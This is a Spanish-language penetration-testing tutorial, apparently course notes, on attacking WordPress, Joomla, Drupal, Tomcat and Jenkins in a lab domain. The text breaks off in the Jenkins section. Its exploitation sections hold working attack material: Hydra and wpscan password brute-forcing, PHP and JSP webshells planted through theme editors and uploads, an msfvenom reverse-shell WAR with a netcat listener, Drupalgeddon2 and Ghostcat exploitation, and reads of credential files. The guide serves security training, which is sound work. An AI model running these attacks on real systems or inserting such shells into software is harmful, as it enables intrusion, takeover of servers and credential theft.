davidalvk

Atacando Aplicaciones Comunes

Secciones

Introducción

En el mundo actual, donde las empresas operan en entornos híbridos y digitalizados, las aplicaciones web se han convertido en piezas fundamentales para la comunicación, productividad y gestión interna. Sin embargo, esta dependencia también las convierte en objetivos principales para ciberatacantes y actores maliciosos. Las vulnerabilidades en aplicaciones comunes, tanto comerciales como de código abierto, son una de las vías más frecuentes para comprometer entornos corporativos, ya sea desde internet o desde redes internas.

A lo largo de este contenido aprenderás a:

  • Preparar un entorno de pruebas profesional.
  • Identificar e identificar tecnologías web mediante escaneos y técnicas OSINT.
  • Atacar plataformas como WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, GitLab y muchas otras.
  • Explorar rutas de explotación usando configuraciones por defecto, fallos de lógica o funcionalidades expuestas.
  • Automatizar procesos de descubrimiento y documentación con herramientas como Nmap, EyeWitness, Aquatone y Gobuster.

Además, la guía no se limita a enseñar técnicas de ataque, sino que también ofrece reflexiones sobre el valor de una metodología sólida, la documentación efectiva, y el papel fundamental que juega la organización durante una evaluación real.

El conocimiento que desarrollarás aquí no solo es útil para pruebas de penetración con fines éticos, sino que también te prepara para enfrentar desafíos reales como Red Team Member, Blue Teamer o Bug Bounty Hunter.

1. Preparación del entorno

Antes de iniciar cualquier análisis o explotación, es vital contar con un entorno bien configurado. Esto no solo te permitirá ejecutar las herramientas adecuadamente, sino también mantener la trazabilidad y organización de los datos obtenidos. Aquí aprenderás a configurar tu entorno de pruebas con precisión, incluyendo aspectos como edición del archivo hosts, preparación de listas de alcance, y uso básico de herramientas esenciales.

Edición del archivo /etc/hosts

Cuando trabajamos en entornos de laboratorio con múltiples servidores web virtuales (vhosts), necesitamos que nuestro sistema operativo sepa a qué IP debe resolver cada uno de los subdominios. Para esto, modificamos el archivo /etc/hosts en nuestro sistema Linux:

sudo vim /etc/hosts

O bien con redirección desde terminal:

IP=10.129.42.195
printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

Este comando añade múltiples dominios virtuales a la IP especificada, algo esencial para simular entornos empresariales.

Estructura del archivo hosts tras editar:

127.0.0.1       localhost
::1             ip6-localhost ip6-loopback
...
10.129.42.195   app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local

Herramientas necesarias

Algunas herramientas que debes tener preparadas desde el inicio son:

  • Nmap: para escaneo de puertos y servicios.
  • EyeWitness y Aquatone: para capturas de pantalla de servicios web.
  • Gobuster: para fuerza bruta de directorios y archivos.
  • wpscan, droopescan, etc.: para enumeración y ataque a CMS.

Instálalas con:

sudo apt update && sudo apt install nmap eyewitness gobuster

Para instalar Aquatone manualmente:

wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip
chmod +x aquatone
sudo mv aquatone /usr/local/bin/

Y para clonar y usar EyeWitness:

git clone https://github.com/FortyNorthSecurity/EyeWitness.git
cd EyeWitness/Python/setup
./setup.sh

Con este entorno ya listo, puedes comenzar a trabajar con cualquier aplicación de destino como si estuvieras frente a un entorno real de producción.

2. Introducción a los ataques a aplicaciones comunes

Las aplicaciones web están en el centro de las operaciones digitales modernas. Desde simples blogs hasta complejos sistemas empresariales, estas aplicaciones son esenciales para la actividad diaria de organizaciones en todos los sectores. Sin embargo, esta dependencia tecnológica las convierte también en un objetivo recurrente para actores maliciosos.

¿Por qué son tan atractivas para los atacantes?

  • Están comúnmente expuestas a internet.
  • Muchas implementaciones quedan desactualizadas o mal configuradas.
  • Se utilizan ampliamente plugins, extensiones o integraciones de terceros.
  • Almacenan datos sensibles como credenciales, información financiera o de clientes.

Incluso aplicaciones ampliamente utilizadas como WordPress, Joomla, Tomcat o Jenkins pueden presentar vulnerabilidades por configuraciones inseguras, falta de parches o simplemente por exposición de funciones administrativas sin restricciones.

Casos comunes de vulnerabilidades

Las fallas que más frecuentemente se explotan incluyen:

  • Inyecciones SQL: manipulación de consultas a bases de datos.
  • XSS (Cross-Site Scripting): inyección de scripts en el lado del cliente.
  • RCE (Remote Code Execution): ejecución de comandos en el servidor.
  • LFI/RFI: inclusión de archivos locales o remotos.
  • Default credentials: uso de contraseñas por defecto no modificadas.

Estas vulnerabilidades están recogidas en el famoso listado OWASP Top 10, un estándar de referencia para identificar los riesgos de seguridad más críticos en aplicaciones web.

Arquitectura típica de una aplicación web

Para entender mejor dónde pueden producirse fallos, hay que conocer la estructura general de una aplicación web:

  • Frontend: HTML, CSS, JS ejecutándose en el navegador.
  • Backend: lógica de negocio en PHP, Java, Python, etc., ejecutándose en el servidor.
  • Base de datos: MySQL, PostgreSQL, MongoDB, etc.

Los ataques pueden dirigirse a cualquiera de estas capas, dependiendo de la superficie expuesta.

Contexto actual y cifras preocupantes

La exposición de servicios web ha aumentado con el auge del trabajo remoto y la migración a la nube. Esto ha llevado a que incluso entornos internos, antes aislados, sean ahora más accesibles para ataques externos.

Un estudio de Barracuda de 2021 mostró que:

  • El 72% de las empresas encuestadas sufrió al menos una brecha por vulnerabilidad en aplicaciones web.
  • El 32% sufrió dos brechas.
  • El 14% sufrió tres o más.

La mentalidad del pentester

Un buen pentester no solo ejecuta herramientas; analiza comportamientos, interpreta estructuras y busca inconsistencias. Las habilidades clave incluyen:

  • Exploración manual estructurada.
  • Reconocimiento de funcionalidades ocultas o no documentadas.
  • Curiosidad técnica constante.

«Las herramientas automatizadas detectan mucho. La mente humana, lo verdaderamente crítico.»

Esta sección sirve como base conceptual. En las próximas lecciones veremos cómo aplicar todo esto de forma práctica contra tecnologías específicas y entornos reales simulados.

3. Descubrimiento y enumeración de aplicaciones

El descubrimiento y la enumeración son fases críticas dentro de cualquier prueba de penetración. Aquí es donde se recopila la mayor cantidad posible de información sobre los sistemas disponibles, servicios activos y tecnologías implementadas. En esta sección veremos cómo identificar aplicaciones web activas, cómo escanear puertos comunes y cómo utilizar herramientas que nos permiten visualizar rápidamente la superficie de ataque.

¿Por qué es importante esta fase?

Una organización no puede proteger lo que no conoce. De igual forma, un atacante o pentester no puede comprometer eficazmente un sistema sin antes tener una visión clara de:

  • Qué aplicaciones están en uso.
  • Qué versiones están desplegadas.
  • Qué servicios escuchan en qué puertos.

Este reconocimiento puede revelar versiones vulnerables, configuraciones por defecto o aplicaciones olvidadas.

Paso 1: Crear lista de alcance

Antes de escanear, necesitas una lista de dominios/IPs en el entorno objetivo. Por ejemplo:

app.inlanefreight.local
dev.inlanefreight.local
blog.inlanefreight.local
...

Paso 2: Escaneo de puertos con Nmap

Ejecutamos un escaneo de puertos web comunes:

sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list

Este comando:

  • Escanea los puertos más utilizados por aplicaciones web.
  • Filtra solo servicios abiertos.
  • Guarda los resultados en múltiples formatos (.nmap, .xml, .gnmap).

Paso 3: Captura visual con EyeWitness

Una vez completado el escaneo, utilizamos EyeWitness para generar capturas de pantalla de los servicios web detectados:

eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness

Esto abrirá automáticamente los puertos web detectados y generará un informe con imágenes y metadatos útiles.

Paso 4: Uso de Aquatone

Aquatone es una alternativa moderna y rápida para inspección visual de servicios web:

cat web_discovery.xml | ./aquatone -nmap

Esto generará un informe HTML con capturas de todos los puertos accesibles, organizados por categorías. Muy útil para entornos con muchos vhosts.

Paso 5: Escaneo de versiones con Nmap (-sV)

Para obtener más contexto, ejecutamos escaneo de versiones:

sudo nmap -sV -p 80,443,8080 <IP del host>

Esto revelará la tecnología exacta detrás del servicio:

80/tcp open  http    Apache httpd 2.4.46
8080/tcp open  http  Jetty 9.4.x (Jenkins)

Paso 6: Organización y documentación

Todo hallazgo debe registrarse. Lo ideal es utilizar herramientas como Notion, Obsidian, CherryTree o incluso OneNote para llevar registro por:

  • Dominio/IP.
  • Puertos abiertos.
  • Servicios detectados.
  • Tecnología y versiones.
  • URLs interesantes o con paneles de login.

La documentación detallada es tu mejor aliada durante la fase de explotación y especialmente al momento de redactar el informe final.

Recomendación final

La enumeración es iterativa. A medida que avanzas, descubrirás nuevos dominios, puertos y aplicaciones que deberán agregarse a tu lista inicial.

Mantén siempre una mentalidad de descubrimiento continuo. Una aplicación web sin protección puede ser la puerta de entrada a todo un dominio interno.

4. WordPress – Descubrimiento y enumeración

WordPress es, sin duda, uno de los sistemas de gestión de contenido (CMS) más utilizados en el mundo. Su versatilidad, facilidad de uso y enorme ecosistema de plugins y temas lo hacen atractivo, pero también propenso a ser objetivo de ataques.

Esta sección se enfoca en cómo identificar una instalación de WordPress, extraer información útil y preparar el terreno para una eventual explotación.

¿Cómo identificar un sitio con WordPress?

Hay múltiples indicadores que nos permiten detectar rápidamente un sitio que utiliza WordPress:

1º. Acceso al archivo robots.txt

curl -s http://<target>/robots.txt

Busca rutas como:

/wp-admin/
/wp-content/

2º. Metadatos en el código fuente HTML

curl -s http://<target> | grep -i "wordpress"

Salida típica:

<meta name="generator" content="WordPress 5.8" />

3º. Acceso directo a rutas conocidas

  • /wp-login.php
  • /wp-content/plugins/
  • /wp-json/wp/v2/

Estas rutas pueden ser accedidas con navegador o mediante herramientas como curl.

Enumeración manual de usuarios

Muchos sitios de WordPress permiten enumerar autores por defecto:

curl -s http://<target>/?author=1

Esto redirecciona a /author/<username>/, lo que revela el nombre del usuario.

Puedes automatizar este proceso probando valores incrementales hasta encontrar todos los usuarios públicos.

Enumeración con WPScan

wpscan es una herramienta poderosa diseñada exclusivamente para analizar WordPress. Es altamente recomendable para esta fase.

Instalación:

sudo apt install wpscan

Enumerar todo lo posible:

wpscan --url http://<target> --enumerate u,vp,vt,cb,dbe
  • u: usuarios
  • vp: plugins vulnerables
  • vt: temas vulnerables
  • cb: configuraciones comunes
  • dbe: DB Exposures

Ejemplo de enumeración simple de usuarios:

wpscan --url http://blog.inlanefreight.local --enumerate u

Enumeración con ataque de diccionario

wpscan --url http://blog.inlanefreight.local --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt -t 20

Enumeración de plugins

Puedes detectar plugins activos simplemente navegando a:

http://<target>/wp-content/plugins/<nombre_del_plugin>/

O usar Gobuster para fuerza bruta:

gobuster dir -u http://<target> \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
  -x php,txt,html -t 50

Busca rutas como:

/wp-content/plugins/
/wp-content/themes/

Toma de notas y preparación

Durante esta fase, documenta lo siguiente:

  • Versión detectada de WordPress.
  • Usuarios enumerados.
  • Plugins y temas visibles.
  • Archivos de interés (readme.txt, changelog.txt, backup.zip, etc.).

Esta información será esencial para identificar vectores de ataque, plugins vulnerables y planificar ataques de fuerza bruta o RCE en la siguiente etapa.

5. WordPress – Explotación

Una vez que hemos identificado que el objetivo utiliza WordPress y hemos recopilado información sobre usuarios, plugins, temas y posibles archivos sensibles, llega el momento de pasar a la fase activa: la explotación. Aquí nos enfocaremos en técnicas prácticas que pueden permitirnos acceder al backend administrativo, ejecutar código remoto o incluso conseguir una shell en el servidor.

5.1. Ataques de fuerza bruta (login o XML-RPC)

WordPress expone un endpoint XML-RPC que puede ser utilizado para ataques de fuerza bruta.

Ataque con WPScan

wpscan --url http://blog.inlanefreight.local --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt -t 20
  • --password-attack xmlrpc: fuerza bruta vía API XML-RPC.
  • -U: usuario objetivo.
  • -P: lista de contraseñas.

También puedes intentar con la clásica interfaz de login (/wp-login.php) si no hay protección contra múltiples intentos.

5.2. Explotación de plugins vulnerables

Una vez identificados los plugins, busca si alguno tiene vulnerabilidades conocidas. Puedes usar:

Ejemplo: Plugin vulnerable a RCE

curl -X POST http://<target>/wp-content/plugins/<plugin>/vuln.php -d 'cmd=id'

Muchos exploits disponibles son públicos, y se pueden adaptar fácilmente con curl o scripts en Python.

5.3. Subida de webshell desde panel administrativo

Si lograste credenciales válidas de admin:

  1. Inicia sesión en /wp-admin.
  2. Ve a «Apariencia» > «Editor de temas».
  3. Elige un archivo .php, como 404.php o index.php.
  4. Inserta código PHP para una reverse shell:
<?php system($_GET['cmd']); ?>

Luego accede así:

http://<target>/wp-content/themes/<tema>/404.php?cmd=id

5.4. Abuso de funcionalidades

Algunas versiones permiten subir archivos en secciones como:

  • Formularios de contacto.
  • Plugins de galería o descarga.
  • Funcionalidades de backup o exportación.

Busca extensiones como .zip, .php, .phar, .phtml, etc., y prueba si son ejecutables desde la web.

5.5. Escalada post-explotación

Una vez dentro del backend de WordPress o si consigues acceso shell:

  • Verifica el archivo wp-config.php para obtener credenciales de base de datos.
cat wp-config.php
  • Examina plugins instalados desde el directorio:
ls wp-content/plugins/
  • Enumera usuarios y correos desde la base de datos:
SELECT user_login, user_pass, user_email FROM wp_users;
  • Revisa configuraciones en wp_options para ver URLs ocultas o APIs integradas.

Conclusión

WordPress es poderoso y flexible, pero también ampliamente atacado. Su éxito ha provocado la aparición de miles de vulnerabilidades en plugins y temas. Esta fase de explotación demuestra cómo un atacante puede pasar del simple reconocimiento a tener acceso total, si la aplicación no está correctamente protegida.

6. Joomla – Descubrimiento y enumeración

Joomla es otro CMS ampliamente utilizado, especialmente en entornos corporativos e institucionales. Su estructura modular y extensible lo hace versátil, pero también susceptible a errores de configuración y vulnerabilidades en extensiones de terceros.

En esta sección abordaremos las formas más eficaces de detectar una instalación de Joomla, recolectar información clave y preparar el entorno para posibles ataques.

¿Cómo identificar Joomla en un sitio web?

1º. Explorando la estructura de archivos

Busca patrones típicos en URLs o archivos accesibles:

  • /administrator/
  • /components/
  • /templates/
  • Archivos como README.txt, htaccess.txt, language/en-GB/en-GB.xml

2º. Código fuente HTML

Ejecuta:

curl -s http://<target> | grep -i joomla

O inspecciona el HTML en el navegador. Suele incluir metadatos como:

<meta name="generator" content="Joomla! - Open Source Content Management" />

3º. Panel de administración

La ruta común para el backend es:

http://<target>/administrator/

Este panel suele estar accesible si no se ha configurado protección adicional.

Enumeración con herramientas especializadas

Usando WhatWeb

whatweb http://<target>

Muestra tecnologías detectadas, incluyendo la versión de Joomla.

Usando droopescan

Droopescan es una herramienta específica para CMS, compatible con Joomla:

Instalación:

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt

Enumerar información sobre Joomla:

./droopescan scan joomla -u http://<target>

Esto intentará detectar:

  • Versión de Joomla.
  • Plantillas y componentes usados.
  • Paneles accesibles.

Enumeración manual de usuarios (si es posible)

A diferencia de WordPress, Joomla no revela usuarios mediante URLs. Sin embargo, puedes intentar fuerza bruta contra el panel de admin si sabes que existe un usuario estándar (admin, joomla, etc.).

Usa herramientas como Hydra o Burp Suite Intruder para probar combinaciones de usuario/contraseña en:

http://<target>/administrator/index.php

Fuerza bruta de rutas sensibles

Utiliza Gobuster para encontrar directorios ocultos:

gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50

Busca rutas como:

  • /backup/
  • /logs/
  • /tmp/
  • /old/ o /dev/

Recopilación de archivos públicos

Revisa si puedes acceder a archivos de configuración o respaldos accidentales como:

  • configuration.php~
  • backup.zip
  • site.tar.gz

Estos archivos, si están mal protegidos, podrían contener credenciales o rutas internas del servidor.

Resumen para explotación

Una vez recopilados:

  • La versión de Joomla.
  • El acceso al panel de admin.
  • Extensiones instaladas.
  • Archivos visibles.

Estarás preparado para ejecutar vulnerabilidades conocidas, escalar privilegios o explotar configuraciones débiles, como veremos en la siguiente sección.

Joomla puede parecer más robusto que WordPress a primera vista, pero muchas instalaciones quedan expuestas por mal uso de componentes de terceros o malas prácticas de despliegue.

7. Joomla – Explotación

Con una instalación Joomla correctamente identificada y enumerada, pasamos a la fase ofensiva: la explotación. En esta sección veremos técnicas comunes para comprometer sitios Joomla, aprovechando desde credenciales débiles hasta vulnerabilidades en extensiones populares.

7.1. Ataques de fuerza bruta al panel de administración

Joomla no bloquea por defecto múltiples intentos de login fallidos. Esto permite realizar fuerza bruta sobre el backend (/administrator/).

Usando Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login:Incorrect"

Ajusta el mensaje de error (Incorrect) al que devuelva el sitio web al fallo de login.

Alternativa con Burp Intruder:

Captura la petición al panel de login, y usa Intruder para automatizar los intentos.

7.2. Explotación de extensiones vulnerables

Muchas instalaciones de Joomla utilizan extensiones de terceros que son frecuentemente vulnerables a:

  • RCE (ejecución remota de código).
  • LFI (lectura de archivos locales).
  • SQLi (inyecciones SQL).

Buscar exploits conocidos

Consulta sitios como:

Busca por el nombre de la extensión detectada en la fase anterior.

Ejemplo de RCE en componente vulnerable:

curl -X POST http://<target>/components/com_example/upload.php -F "file=@shell.php"

Luego accede a:

http://<target>/images/shell.php?cmd=id

7.3. Acceso a archivos mal protegidos

Durante la enumeración, si detectaste archivos como configuration.php~, puedes obtener información crítica:

curl http://<target>/configuration.php~

Este archivo contiene credenciales como:

public $user = 'root';
public $password = 'pass123';

7.4. Carga de shells desde el backend

Si lograste acceder como administrador:

  1. Entra a Extensiones > Plantillas > Personalizar plantilla.
  2. Edita un archivo .php del tema activo.
  3. Añade una línea como:
<?php system($_GET['cmd']); ?>
  1. Accede a:
http://<target>/templates/<nombre>/index.php?cmd=whoami

También puedes subir archivos desde el gestor multimedia si no hay restricciones MIME.

7.5. Inyección SQL (si aplica)

Algunas extensiones permiten filtrar datos desde la URL sin sanitización. Prueba inyecciones simples:

http://<target>/index.php?option=com_example&id=1'

Verifica errores o cambios en el comportamiento. Automatiza con sqlmap:

sqlmap -u "http://<target>/index.php?option=com_example&id=1" --dbs

7.6. Post-explotación

Una vez con shell o acceso administrador:

  • Extrae hashes de la base de datos.
  • Enumera otros usuarios.
  • Escala privilegios en el sistema si es posible (sudo, cronjobs, setuid).
  • Busca archivos .bak, .zip, .sql, .log.

Conclusión

Aunque Joomla suele considerarse más estructurado que WordPress, muchas implementaciones reales descuidan aspectos de seguridad crítica. Esta sección demuestra que, con la información correcta, es posible comprometer completamente un sitio si se combinan vulnerabilidades técnicas con malas configuraciones.

8. Drupal – Descubrimiento y enumeración

Drupal es otro CMS de código abierto ampliamente adoptado por gobiernos, universidades y grandes corporaciones. Su arquitectura robusta lo convierte en una opción confiable, pero también en un objetivo de alto valor. Aquí veremos cómo identificar un sitio Drupal, detectar su versión y recolectar información útil para futuras fases de explotación.

8.1. Identificación del CMS

Existen varios indicadores que delatan un sitio construido con Drupal:

Estructura de archivos típica:

  • /sites/default/
  • /core/
  • /modules/
  • /CHANGELOG.txt
  • /user/login

Revisión de metadatos HTML:

curl -s http://<target> | grep -i drupal

Salida común:

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />

Detección con herramientas automáticas:

WhatWeb:
whatweb http://<target>
Wappalyzer o BuiltWith (extensiones del navegador)

8.2. Enumeración de versión

Una forma clásica de detectar la versión es accediendo a CHANGELOG.txt:

curl http://<target>/CHANGELOG.txt | head -n 10

Este archivo revela la versión exacta si no ha sido eliminado:

Drupal 8.9.13, 2021-03-03
-------------------------

También puedes revisar la cabecera del código fuente o rutas como /core/install.php.

8.3. Acceso al panel de login

Por defecto, Drupal utiliza:

http://<target>/user/login

Esto permite probar si el panel de autenticación está activo y accesible. También puede usarse para fuerza bruta o testing de usuarios válidos.

8.4. Enumeración con droopescan

Droopescan es compatible con Drupal y permite escanear múltiples vectores:

./droopescan scan drupal -u http://<target>

Detectará:

  • Versión.
  • Módulos instalados.
  • Temas activos.
  • Paneles visibles.

8.5. Búsqueda de módulos vulnerables

Los módulos de terceros representan un riesgo considerable. Muchas veces no se actualizan y pueden permitir ejecución remota, lectura de archivos o bypass de autenticación.

Para saber qué módulos están expuestos:

  • Fuerza bruta /modules/<modulo>/ con Gobuster:
gobuster dir -u http://<target>/modules/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 30
  • Analiza las rutas detectadas y busca versiones públicas.

8.6. Recopilación de archivos sensibles

Busca archivos mal protegidos o accesibles por error, como:

  • settings.php
  • backup.sql
  • .tar.gz y .zip

Ejemplo:

curl http://<target>/sites/default/settings.php

Este archivo puede contener credenciales de base de datos o rutas internas.

8.7. Usuarios y perfiles

A través de los perfiles públicos, es posible enumerar usuarios válidos:

http://<target>/user/1
http://<target>/user/2

Esto puede revelar nombres, roles e incluso correos electrónicos dependiendo de la configuración de privacidad del sitio.

Conclusión

Con esta fase de reconocimiento tendrás toda la información necesaria para evaluar vulnerabilidades, buscar exploits o planificar fuerza bruta en módulos o sesiones. Drupal, aunque robusto, puede ser mal administrado y caer ante fallos clásicos o configuraciones negligentes.

9. Drupal – Explotación

Una vez identificado un sitio Drupal y recolectada información clave sobre su versión, módulos activos y estructura, pasamos a la fase ofensiva: la explotación. Drupal ha sido históricamente vulnerable a varios fallos críticos, siendo uno de los más conocidos el infame Drupalgeddon.

En esta sección exploraremos vectores comunes de ataque, explotación de módulos y técnicas para escalar privilegios en el entorno comprometido.

9.1. Explotaciones históricas: Drupalgeddon 1 y 2

CVE-2018-7600 – Drupalgeddon 2 (RCE sin autenticación)

Este fallo crítico afecta múltiples versiones de Drupal 7 y 8 y permite ejecución remota de comandos.

Verifica si la versión es vulnerable consultando el archivo CHANGELOG.txt o usando droopescan.

Ejemplo de explotación con Metasploit:

msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <target>
set TARGETURI /
exploit

También puedes usar scripts en Python disponibles en GitHub para explotación directa sin Metasploit.

9.2. Fuerza bruta al login /user/login

Si identificaste usuarios válidos a través de /user/1, /user/2, puedes intentar ataques de diccionario:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login:Login incorrect"

9.3. Explotación de módulos vulnerables

Durante la fase de enumeración, si encontraste módulos específicos como:

  • views
  • rest
  • ckeditor

Busca en Exploit-DB o CVE Details si existe alguna vulnerabilidad conocida.

Ejemplo: si un módulo de importación de contenido permite subir archivos .php, podrías obtener una webshell así:

curl -F "upload=@shell.php" http://<target>/modules/content_import/upload.php

Y luego acceder a:

http://<target>/sites/default/files/shell.php?cmd=id

9.4. Acceso a configuración

Si logras descargar el archivo settings.php, puedes encontrar credenciales:

$databases['default']['default'] = array (
  'database' => 'drupaldb',
  'username' => 'drupaluser',
  'password' => 'SuperSecret123',
);

Estas credenciales pueden reutilizarse para conectarte vía MySQL o probar login en otros servicios.

9.5. Comandos útiles una vez con acceso

Si lograste subir una shell o conseguir RCE, ejecuta:

whoami
uname -a
id
cat /etc/passwd
find / -name "*config*" 2>/dev/null

Evalúa la posibilidad de escalar privilegios, moverte lateralmente o leer contenido sensible.

9.6. Post-explotación: acceso a base de datos

Una vez dentro, con acceso shell o MySQL, extrae los hashes de usuarios:

SELECT name, mail, pass FROM users;

Los hashes se pueden crackear con John o Hashcat si son del tipo $S$ (Drupal 7) o $argon2 (Drupal 8+).

Conclusión

Drupal es potente y flexible, pero como cualquier software, requiere una administración responsable. Cuando los módulos no se actualizan, las configuraciones por defecto se dejan expuestas o los archivos sensibles no se protegen adecuadamente, incluso las versiones más nuevas pueden caer.

10. Tomcat – Descubrimiento y enumeración

Apache Tomcat es un servidor de aplicaciones ampliamente utilizado para ejecutar aplicaciones Java. Aunque es robusto, es frecuente encontrar implementaciones con configuraciones débiles, interfaces administrativas expuestas o credenciales por defecto. En esta sección aprenderás a detectar servidores Tomcat, analizar su superficie expuesta y preparar el terreno para explotación.

10.1. Detección del servicio

El primer paso es identificar Tomcat a través de escaneo de puertos típicos:

nmap -p 8080,8009,8005 --open -sV <target>

Los puertos comunes para Tomcat incluyen:

  • 8080: interfaz HTTP de administración.
  • 8009: conector AJP.
  • 8005: puerto de apagado (a veces vulnerable).

Salida esperada:

8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

10.2. Navegación web manual

Accede con navegador a:

http://<target>:8080

Busca las siguientes rutas:

  • /manager/html → consola de administración.
  • /host-manager/html
  • /docs/, /examples/, /servlets-examples/

Algunas de estas requieren autenticación básica HTTP. Si están abiertas, podrían permitir despliegue de WARs o ejecución remota.

10.3. Enumeración con Nmap NSE

Nmap tiene scripts específicos para Tomcat:

nmap -p 8080 --script http-enum,http-auth,http-title <target>

Para comprobar credenciales por defecto:

nmap -p 8080 --script http-brute --script-args userdb=users.txt,passdb=rockyou.txt,http-brute.path=/manager/html <target>

Sugerencia: utiliza listas que incluyan combinaciones como tomcat:tomcat, admin:admin, admin:s3cret, etc.

10.4. Enumeración manual de credenciales

Haz peticiones manuales para comprobar acceso con curl:

curl -u tomcat:tomcat http://<target>:8080/manager/html

Si obtienes respuesta con estado 200, tienes acceso válido.

También puedes probar autenticación básica con Burp Intruder.

10.5. Exploración del conector AJP

El puerto 8009 puede estar expuesto y vulnerable a manipulación mediante el protocolo AJP. Puedes escanearlo con:

nmap -p 8009 --script ajp-methods <target>

O usar herramientas especializadas como Ghostcat (CVE-2020-1938):

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git

Este vector permite leer archivos locales si la configuración lo permite.

10.6. Enumeración de aplicaciones desplegadas

Visita:

http://<target>:8080/manager/html

Si accedes con credenciales válidas, verás un listado de aplicaciones desplegadas con rutas como:

  • /examples
  • /docs
  • /myapp

Estos WAR pueden contener información útil o permitir ejecución arbitraria si no están bien protegidos.

Conclusión

Tomcat es una plataforma comúnmente mal protegida en entornos de desarrollo, staging o incluso producción. La enumeración efectiva puede revelar puertas de entrada críticas como paneles expuestos o conectores mal configurados.

11. Tomcat – Explotación

Con los vectores y servicios expuestos identificados en la fase anterior, ahora entramos en la fase de explotación activa sobre servidores Apache Tomcat. Esta sección cubre técnicas como el despliegue de aplicaciones maliciosas (WAR), abuso del conector AJP (Ghostcat) y explotación de configuraciones por defecto o credenciales filtradas.

11.1. Despliegue de WAR a través del panel de administración

Si se logró acceso a /manager/html con credenciales válidas:

  1. Accede a http://<target>:8080/manager/html.
  2. Sube un archivo .war malicioso con una webshell incorporada.

Generar WAR con msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tu_IP> LPORT=4444 -f war > shell.war

Luego escucha con netcat:

nc -lvnp 4444

Después de desplegar, accede a:

http://<target>:8080/shell/

Esto iniciará la reverse shell hacia tu máquina.

11.2. Abuso del conector AJP (Ghostcat)

CVE-2020-1938 – Ghostcat

Cuando el puerto 8009 está abierto y vulnerable, puedes leer archivos arbitrarios usando el protocolo AJP.

Ejecuta el script público:

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python ajp-lfi.py -u ajp://<target>:8009/ --file /WEB-INF/web.xml

Puedes extraer configuraciones sensibles, rutas internas o incluso archivos .jsp vulnerables para su posterior modificación.

11.3. Explotación sin credenciales: métodos alternativos

Algunas implementaciones permiten desplegar WAR sin autenticación por fallos de configuración o errores en control de acceso:

  • Prueba rutas como /manager/text/deploy con autenticación básica por defecto.
  • Usa curl para pruebas:
curl -u tomcat:tomcat -T shell.war "http://<target>:8080/manager/text/deploy?path=/shell&update=true"

11.4. Shells y payloads en formato JSP

Tomcat interpreta archivos .jsp, lo cual permite incrustar código directamente:

Shell simple JSP:

<%@ page import="java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(cmd);
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  int c;
  while ((c = in.read()) != -1) {
    out.print((char)c);
  }
%>

Guárdalo como shell.jsp, empaquétalo en un WAR y súbelo.

11.5. Persistencia y post-explotación

Una vez con acceso shell:

  • Revisa /etc/shadow, /etc/passwd si tienes privilegios.
  • Enumera crons, servicios activos, sockets abiertos.
  • Explora directorios como /home, /opt, /var/lib/tomcat*/.
  • Busca archivos .xml, .properties, .keystore que puedan contener credenciales o secretos.

Conclusión

Apache Tomcat puede convertirse en una vía de entrada muy poderosa si no está adecuadamente asegurado. El simple hecho de tener habilitado el panel /manager/html o el conector AJP sin protección ya constituye un riesgo elevado.

12. Jenkins – Descubrimiento y enumeración

Jenkins es una herramienta de automatización muy usada en entornos DevOps, especialmente para integración y entrega continua (CI/CD). Al estar construida sobre Java y frecuentemente desplegada sobre Tomcat, es común encontrarla en el mismo servidor o en redes internas corporativas.

En esta sección veremos cómo identificar un servicio Jenkins, determinar si está expuesto, y extraer información útil que pueda facilitar su explotación posterior.

12.1. Identificación de Jenkins

Jenkins se suele desplegar en:

  • http://<target>:8080/
  • http://<target>:8080/jenkins

Verificación rápida con Nmap

nmap -p 8080 --script http-title,http-headers <target>

Resultado esperado:

8080/tcp open  http    Jetty 9.x (Jenkins)

También puedes identificarlo visualmente accediendo con navegador y buscando el banner de Jenkins o /login.

12.2. Recolección pasiva

Uso de WhatWeb

whatweb http://<target>:8080

Detectará Jenkins por encabezados HTTP o pie de página HTML.

Uso de curl

curl -I http://<target>:8080

Busca:

X-Jenkins: 2.319.1
X-Hudson: 1.395

12.3. Enumeración del panel de login

Accede a:

http://<target>:8080/login

Si el servidor está mal configurado o no protegido, puedes ver el dashboard principal sin autenticar.

En versiones antiguas, era posible enumerar usuarios o incluso leer configuraciones directamente desde el navegador si no se restringía el acceso a rutas como:

  • /script
  • /computer/
  • /user/admin/configure

12.4. Uso de scripts NSE y dirb

Scripts Nmap

nmap -p 8080 --script http-enum <target>

Detectará rutas accesibles:

  • /view/All/
  • /whoAmI
  • /scriptText

Fuerza bruta con dirb o gobuster

gobuster dir -u http://<target>:8080/ -w /usr/share/wordlists/dirb/common.txt

Busca rutas sensibles como:

  • /scriptText
  • /credentials/store/system/domain/_/
  • /userContent/

12.5. Verificación de API pública

Jenkins tiene una API REST que puede estar accesible:

